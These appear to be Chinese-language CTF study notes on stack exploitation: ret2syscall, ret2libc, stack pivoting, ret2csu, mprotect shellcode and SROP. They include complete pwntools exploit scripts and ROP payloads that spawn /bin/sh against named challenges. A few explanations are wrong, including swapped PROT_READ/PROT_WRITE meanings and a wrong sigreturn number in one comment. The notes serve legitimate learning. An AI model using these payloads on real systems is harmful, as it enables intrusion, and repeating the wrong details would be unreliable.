一:ret2syscall
什么是系统调用?
- 操作系统提供给用户的编程接口
- 是提供访问操作系统所管理的底层硬件的接口
- 本质上是一些内核函数代码,以规范的方式驱动硬件
- x86 通过int 0x80指令进行系统调用、amd64 通过 syscall 指令进行系统调用
举例:
- my_puts() -> write() -> sys_write()
- my_puts(“Hello world!”);
- 程序 ELF 中的用户代码
- write(1, &”Hello world!”, 12);
- libc 中的用户代码
- [ eax = 4; ebx = 1; ecx = &”Hello world!”; edx = 12; ] + int 0x80; => sys_write()
- Linux 内核中的内核代码
问题:
可是在程序中没有已存在的一段代码是:(汇编指令为寄存器赋值)
1 2 3 4 5 6
| mov eax, 0xb mov ebx, [“/bin/sh”] mov ecx, 0 mov edx, 0 int 0x80 => execve("/bin/sh",NULL,NULL)
|
我们仍然要执行 execve(“/bin/sh”,NULL,NULL)
该怎么做呢?
返回导向编程图解如下:

注: 其中stack段是需要我们修改成为的结构,而text是程序中指令真实存在的,就需要我们构造rop链对text中的各指令依次跳转执行。
指令地址获取方法:
1 2 3 4 5
| ROPgadget --binary rop --only 'pop|ret' | grep 'ebx' //通过该指令删选出含ebx和pop|ret的rop片段 同样,字符串以及int 0x80亦如此: ROPgadget --binary rop --string '/bin/sh' ROPgadget --binary rop --only 'int'
|
或者使用ropper查询(找的会比较全,一般找syscall|ret好用):
1
| ropper --file pwn --search 'syscall'
|
静态链接:(长度过长的或可以通过pop rax缩短长度)
1
| ROPgadget --binary rop --ropchain
|
最终实现rop后的结构如下:

系统调用查看:
1 2 3 4
| cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h //查看32位系统调用号 cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h //查看64位系统调用号
其中,32位系统调用位0xb(11),64位系统调用位0x3b(59)
|
32位exp:
- eax = 0xb
- ebx = binsh_addr
- ecx = 0
- edx = 0
- 调用:int 0x80
1 2 3
| payload = b'a' * offset + p32(pop_eax) + p32(0xb) payload += p32(edx_ecx_ebx_pop)+p32(0x0)+p32(0x0)+p32(binsh) payload += p32(int_0x80)
|
64位exp:
rax = 0x3b
rdi = binsh_addr
rsi = 0
rdx = 0
调用:syscall
1 2 3 4
| payload = b'a' * offset + p64(pop_rax) + p64(0x3b) payload += p64(pop_rdx_rsi)+p64(0)+p64(0) payload += p64(pop_rdi)+p64(binsh) payload += p64(syscall)
|
二:动态链接过程
1 .首先调用libc中的foo函数。

2 .跳转到 .plt 中的 foo 表项.plt 中的代码立即跳转到 .got.plt 中记录的地址。
3 .由于进程是第一次调用 foo故 .got.plt 中记录的地址是 foo@plt的表项的地址。
4 .跳转到 .plt 头部为 _dl_runtime_resolve 函数传参,并且 dl_runtime_resolve 函数解析 foo 的真正地址
填入 .got.plt中。
5 .到此,got表结构变为:

并且此时,.got.plt 中保存的是 foo 的真实地址。
6 .第二次调用foo函数,直接从 .got.plt 跳转到 foo 的真实地址,即可获取foo的真实地址。
三:ret2libc
该攻击分为两个过程:
**1 .**解析system函数的地址,实现系统调用,即ret2syscall。
方法:
两次调用程序中的某一函数(一般为write或puts)
通过.got.plt获取到该函数在libc中的真实地址
通过在libc中system函数和该函数的相对偏移地址以及该函数在本程序中的地址推算得到system在本程序中的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| 如下为部分代码: //以下代码即实现通过偏移查找系统函数地址 ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts'] libc_start_main_got = ret2libc3.got['__libc_start_main'] main = ret2libc3.symbols['main']
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got]) //首次调用函数,获取真实got表地址
libc_start_main_addr = u32(sh.recv()[0:4]) //或libc_start_main_addr = u32(sh.recvuntil('\xf7')[-4:])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr) libcbase = libc_start_main_addr - libc.dump('__libc_start_main') //这里时start和main的偏移 system_addr = libcbase + libc.dump('system') binsh_addr = libcbase + libc.dump('str_bin_sh')
|
**2 .**构造rop链,为相关寄存器赋值,并为system函数传参。
两次构造:
1 . 首先填充垃圾数据到ret addr,调用三个函数puts,main,start使得got表中获取真实地址。
1
| payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
|
2 .通过偏移获取到system和bin/sh的真实地址后直接调用。
1
| payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
|
或:
1 2
| payload = flat(['A' * 104, call_system_addr, binsh_addr]) //call_system相当于会执行pop,不需要填充个垃圾数据,后边直接 跟参数
|
上面为32位,64位构造如下:
不同于32位,64位的前六个参数会存入RDI、RSI、RDX、RCX、R8、R9这六个寄存器,其余参数才会放入栈里,因此我们需要控制这几个寄存器的值(通过ROPgadget查找命令地址)。
构造payload:
1
| payload = flat(['A' * 112,p64(ret),p64(pop_rdi_ret),b'binsh',p64(system_addr)])
|
ret2libc完整exp:(64位,puts为例)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import * from LibcSearcher import * context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote() elf = ELF('./pwn')
puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] pop_rdi_ret = 0x ret_addr = 0x main = 0x
payload = b’a’*0x88 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main) io.sendline(payload) puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system = libc_base + libc.dump('system') binsh = libc_base + libc.dump('str_bin_sh')
libc = ELF() libc_base = puts_addr - libc.sym["puts"] system = libc_base + libc.sym["system"] binsh = libc_base + next(libc.search(b"/bin/sh"))
payload = b’a’*0x88 + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh) + p64(system) io.sendline(payload)
io.interactive()
|
四:其它的ROP技巧
1 .连续ROP
ROP连续调用多个libc函数,即从多个函数中获取到相关rop,组合构造rop链。

2.栈迁移
适用情况:溢出后可控制输入字节较短,无法进行较长rop链的构造。
原理:将ebp和esp迁移到一个长度足够的位置,事先在该位置构造好rop链。
思路:根据程序返回时pop ebp和mov esp,ebp将ebp填充为伪造的fake_ebp,执行ebp后,ebp被劫持到伪造的fake_ebp处,接着执行mov esp,ebp会将esp同样劫持到伪造区域。
利用步骤:
1.泄露old_ebp或者溢出点s位置,构造payload
2.fake_ebp = old_ebp - offset(fake_ebp一般是在溢出点处,即在溢出点开始构造payload,gdb调试看old_ebp距离输入点的偏移)
exp:
1 2 3 4 5 6 7 8 9 10
| 64位: payload = b'a' * 8 + p64(pop_rdi) + p64(fake_ebp + 0x28) + p64(system) + b"/bin/sh\x00" payload = payload.ljust(0x50,b'a') payload += p64(fake_ebp) + p64(leave_ret)
32位: payload = b'a' * 4 + p32(sys) + p32(main) + p32(fake_ebp + 0x10) + b"/bin/sh\x00" payload = payload.ljust(0x28,b'a') payload += p32(fake_ebp) + p32(leave_ret)
|
32位栈布局:

3.ret2csu
适用于程序中ROPgadget中找不到相关可以控制寄存器的gadget时。
这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在,该函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| .text:00000000004005C0 ; void _libc_csu_init(void) .text:00000000004005C0 public __libc_csu_init .text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o .text:00000000004005C0 push r15 .text:00000000004005C2 push r14 .text:00000000004005C4 mov r15d, edi .text:00000000004005C7 push r13 .text:00000000004005C9 push r12 .text:00000000004005CB lea r12, __frame_dummy_init_array_entry .text:00000000004005D2 push rbp .text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry .text:00000000004005DA push rbx .text:00000000004005DB mov r14, rsi .text:00000000004005DE mov r13, rdx .text:00000000004005E1 sub rbp, r12 .text:00000000004005E4 sub rsp, 8 .text:00000000004005E8 sar rbp, 3 .text:00000000004005EC call _init_proc .text:00000000004005F1 test rbp, rbp .text:00000000004005F4 jz short loc_400616 .text:00000000004005F6 xor ebx, ebx .text:00000000004005F8 nop dword ptr [rax+rax+00000000h] .text:0000000000400600 .text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j .text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d .text:0000000000400609 call qword ptr [r12+rbx*8] .text:000000000040060D add rbx, 1 .text:0000000000400611 cmp rbx, rbp .text:0000000000400614 jnz short loc_400600 .text:0000000000400616 .text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j .text:0000000000400616 add rsp, 8 .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15 .text:0000000000400624 retn .text:0000000000400624 __libc_csu_init endp
|
可以看到在400616(不同程序不一样,根据ida查看)之后的一段是存在可以控制 rbx、rbp、r12、r13、r14、r15的寄存器的值的gadget,另外在400600之后的一段存在着可以控制rdx和rsi的gadget。
因此,我们可以控制程序溢出后返回到该两个地址控制相关寄存器实现参数传递后调用相关函数。
例题:[HNCTF 2022 WEEK2]ret2csu
程序中存在read栈溢出,并且存在write函数,但ROPgadget找不到控制write函数的第三个参数的寄存器的rdx_gadget,因此考虑ret2csu借助pop r14以及mov rdx, r14来控制rdx。
查看csu:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| .text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000401290 mov rdx, r14 .text:0000000000401293 mov rsi, r13 .text:0000000000401296 mov edi, r12d .text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8] .text:000000000040129D add rbx, 1 .text:00000000004012A1 cmp rbp, rbx .text:00000000004012A4 jnz short loc_401290 .text:00000000004012A6 .text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j .text:00000000004012A6 add rsp, 8 .text:00000000004012AA pop rbx .text:00000000004012AB pop rbp .text:00000000004012AC pop r12 .text:00000000004012AE pop r13 .text:00000000004012B0 pop r14 .text:00000000004012B2 pop r15 .text:00000000004012B4 retn
|
因此,payload构造如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| mov_rdx_r14 = 0x401290 pop_rbx = 0x4012AA pop_rdi = 0x4012b3 ret = 0x40101a
rbx = 0 rbp = 1 r12 = 1 r13 = write_got r14 = 8 r15 = write_got
payload = b'a' * 0x108 + p64(pop_rbx) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(mov_rdx_r14) payload += b'a' * 0x38 payload += p64(vuln_addr)
|
首先填充垃圾数据到返回地址,跳转pop_rbx汇编地址处,依次控制后续寄存器的值,之后跳转mov_rdx_r14地址处将r14(即第三个参数:8)赋值给rbx,之后填充0x38垃圾数据是因为程序跳转到mov_rdx_r14处后会再次向下执行一直到4012B4处的ret,因此我们需要在这之前再次填充垃圾数据为pop等寄存器赋值。
此时,栈上内容为:

之后,泄露wirte后即为常规ret2libc。
第二种解法:感觉很妙
由于找不到可以控制rdx的gadget,而rdx对应write参数的第三个,也就是输出字节数,正常情况下输出地址需要8字节,但我们无法控制rdx = 8。
但是,rdx初始值为4,这意味着我们可以泄露4位地址,因此可以通过两次泄露泄露出write的地址之后ret2libc
1 2 3 4 5 6 7 8 9 10
| payload1 = b'a'*0x108 + p64(rdi) + p64(1) + p64(rsi_r15) + p64(elf.got['read'])*2 + p64(elf.sym['write']) + p64(elf.sym['vuln'] //泄露低4位 io.sendlineafter("",payload1) write_end = io.recv(4)
payload2 = b'a'*0x108 + p64(rdi) + p64(1) + p64(rsi_r15) +p64(elf.got['read'] + 4)*2 + p64(elf.sym['write']) + p64(elf.sym['vuln'] //泄露高4位 io.sendlineafter("",payload2) write_front = io.recv(4)
libcbase = u64(write_front + write_end) - libc.sym["write"]
|
4.mprotect利用
当程序内存在mprotect函数时,可以通过该函数对程序内除了栈以外(因为NX的开启)的区域赋予可执行权限,包括code、data、heap等区域,被赋予可执行权限的区域会变成code段。
函数原型:
1
| int mprotect(const void *start, size_t len, int prot);
|
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
其中,prot = 7 表示可读可写可执行
注意:指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
赋予权限前:

赋予权限后(对0x80ea000):

可以看到,该段已经具备了可执行权限x,经过测试,好像可以操控的段为前三部分(0x8048000-0x810f000)。
利用:首先栈溢出到返回地址,跳转mprotect函数为某一地址段赋予可执行权限,之后调用read函数将shellcode读入该地址段,最后返回到该地址执行shellcode。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| mprotect = 0x0806EC80 buf = 0x80ea000 pop_3_ret = 0x0804f460 //对应pop ebx ; pop esi ; pop ebp ; ret 需要将后续三个参数pop掉方便执行read函数, 我的理解是当rop链链接两个多参数(大于1个)的函数时,需要中间加pop链接 read_addr = 0x0806E140
payload = b'a'* offset payload += p32(mprotect) payload += p32(pop_3_ret) //加了pop后,程序执行mprotect函数后会把后边三个参数pop掉,接着执行read函数,不加pop的话 //程序执行完mprotect后会跳转buf,但此时还没有读入shellcode,因此程序异常报错 payload += p32(buf) payload += p32(0x1000) payload += p32(0x7) payload += p32(read_addr) payload += p32(buf) //执行完read后跳转buf处执行shellcode payload += p32(0) payload += p32(buf) payload += p32(0x100) io.sendline(payload)
shellcode = asm(shellcraft.sh()) io.sendline(shellcode) //执行read函数读入shellcode
|
5.SROP (Sigreturn rop)
SROP简介
- SROP也即Sigreturn Oriented Programming。很显然这种攻击方式与Unix系统调用Sigreturn相关。它在发生signal的时候会被间接调用。
- Signal在unix下的机制(窃图),发生signal时,会在user和kernel直接切换。系统会为当前进程保存上下文。完成后会从核心态退出时,会执行sigreturn恢复上下文。
linux处理signal流程如下图所示,在程序接收到signal信号时会去①保存上下文环境(即各种寄存器),接下来走到②执行信号处理函数,处理完后③恢复相关栈环境,④继续执行用户程序。而在恢复寄存器环境时没有去校验这个栈是不是合法的,如果我们能够控制栈,就能在恢复上下文环境这个环节直接设定相关寄存器的值。
在本题中,gadget已经给了0xf的syscall(对应③这个环节),因此我们可以利用它来设置对应环境。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| struct _fpstate { /* FPU environment matching the 64-bit FXSAVE layout. */ __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; struct _fpxreg _st[8]; struct _xmmreg _xmm[16]; __uint32_t padding[24]; };
struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8]; };
|
64位环境如上,光靠人记忆比较困难,pwntool已经提供了工具能直接生成对应的布局。
例题1:[CISCN 2019华南]PWN3
程序内存在打印buf的地址,且存在mov 0xf,ret指令,接收buf地址后一次srop调用syscall即可。
exp:
1 2 3 4 5 6 7 8 9 10 11 12
| sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve //sigframe.rax = 59 sigframe.rdi = buf_addr //binsh地址 sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rip = syscall mov_rax_ret = 0x4004da //mov eax 0xf;ret Sigreturn的系统调用号为19,所以需要先给rax赋值19
payload = b'/bin/sh\x00'.ljust(0x10, b'a') + p64(mov_rax_ret) + p64(syscall) + bytes(sigframe) //p64(mov_rax_ret) + p64(syscall)是调用Sigreturn,sigframe是调用execve p.send(payload) p.interactive()
|
例题2:【buuctf】 rootersctf_2019_srop
程序中不存在打印buf的地址,考虑data段,另外不存在mov 0xf,但是存在pop rax指令。
首先一次srop调用read,之后通过调用的read调用syscall。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| data_addr = 0x402000
syscall_leave_ret = 0x401033 //syscall;leave;ret; pop_rax_syscall_leave_ret = 0x401032 //pop rax;syscall;leave;ret; syscall = 0x401033
frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = data_addr frame.rdx = 0x400 frame.rip = syscall_leave_ret frame.rbp = data_addr + 0x20
p1 = flat([0x88 * b"a", pop_rax_syscall_leave_ret, 0xf, bytes(frame)]) //首先0x88栈溢出后调用read函数方便向data 中读入binsh。 io.sendline(p1)
frame = SigreturnFrame() frame.rax = 59 frame.rdi = data_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall
p2 = flat(["/bin/sh\x00", "a" * 0x20, pop_rax_syscall_leave_ret, 0xf, bytes(frame)]) //0x20溢出rbp后调用 syscall
io.sendline(p2)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import *
p = process('./pwn') elf = ELF('./pwn') context(arch = 'amd64',os = 'linux',log_level = 'debug')
buf = elf.bss(0x100) syscall_ret = 0x400517 mov_rax = 0x4004DA
frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = buf frame.rdx = 0x100 frame.rip = syscall_ret frame.rsp = buf + 8
print(bytes(frame)) p1 = b'a' * 0x10 + p64(mov_rax) + p64(syscall_ret) + flat(frame) gdb.attach(p) pause() p.sendline(p1)
frame = SigreturnFrame() frame.rax = 59 frame.rdi = buf frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_ret
p2 = b"/bin/sh\x00" + p64(mov_rax) + p64(syscall_ret) + flat(frame)
p.sendline(p2)
p.interactive()
|
注意的是:SigreturnFrame利用必须指定系统结构,不然会报错 pwnlib.exception.PwnlibException: kernel architecture must be specified
需要加上 context(arch = ‘amd64’,os = ‘linux’,log_level = ‘debug’)
例题3:newstar week3 srop
首先,栈迁移到bss段,之后srop
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| rdi=0x0000000000401203 syscall=elf.plt['syscall'] lea=0x401171 bss=0x404050+0x300
io.recvuntil('welcome to srop!\n') frame=SigreturnFrame() frame.rdi=59 frame.rsi=bss - 0x30 frame.rdx=0 frame.rcx=0 frame.rsp=bss+0x38 frame.rip=syscall
io.send(b'a'*0x30+flat(bss,lea))
io.send(b'/bin/sh\x00'+b'a'*0x30+flat(rdi,0xf,syscall,frame))
io.interactive()
|